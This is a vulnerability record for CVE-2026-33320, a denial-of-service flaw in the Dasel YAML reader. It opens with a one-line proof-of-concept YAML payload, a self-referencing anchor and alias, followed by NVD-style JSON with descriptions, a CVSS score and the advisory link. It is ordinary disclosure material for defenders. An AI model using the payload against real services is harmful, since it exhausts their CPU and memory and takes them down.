CVE-2026-33320

# PoC for CVE-2026-33320 # This YAML snippet creates a recursive alias structure. # When processed by a vulnerable version of Dasel, it triggers # unbounded recursion, leading to high CPU and memory consumption. &anchor - *anchor

{"cve": {"id": "CVE-2026-33320", "sourceIdentifier": "[email protected]", "published": "2026-03-24T01:17:02.203", "lastModified": "2026-03-25T16:08:49.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dasel is a command-line tool and library for querying, modifying, and transforming data structures. Starting in version 3.0.0 and prior to version 3.3.1, Dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. Version 3.3.2 contains a patch for the issue."}, {"lang": "es", "value": "Dasel es una herramienta de línea de comandos y biblioteca para consultar, modificar y transformar estructuras de datos. A partir de la versión 3.0.0 y antes de la versión 3.3.1, el lector YAML de Dasel permite a un atacante que puede proporcionar YAML para su procesamiento desencadenar un consumo extremo de CPU y memoria. El problema reside en la propia implementación `UnmarshalYAML` de la biblioteca, que resuelve manualmente los nodos alias siguiendo recursivamente los punteros `yaml.Node.Alias` sin ningún presupuesto de expansión, eludiendo el límite de expansión de alias incorporado de go-yaml v4. La versión 3.3.2 contiene un parche para el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tomwright:dasel:*:*:*:*:*:go:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.3.2", "matchCriteriaId": "E08D6137-BA75-4A33-9DAF-F28A5FCEF5DC"}]}]}], "references": [{"url": "https://github.com/TomWright/dasel/security/advisories/GHSA-4fcp-jxh7-23x8", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}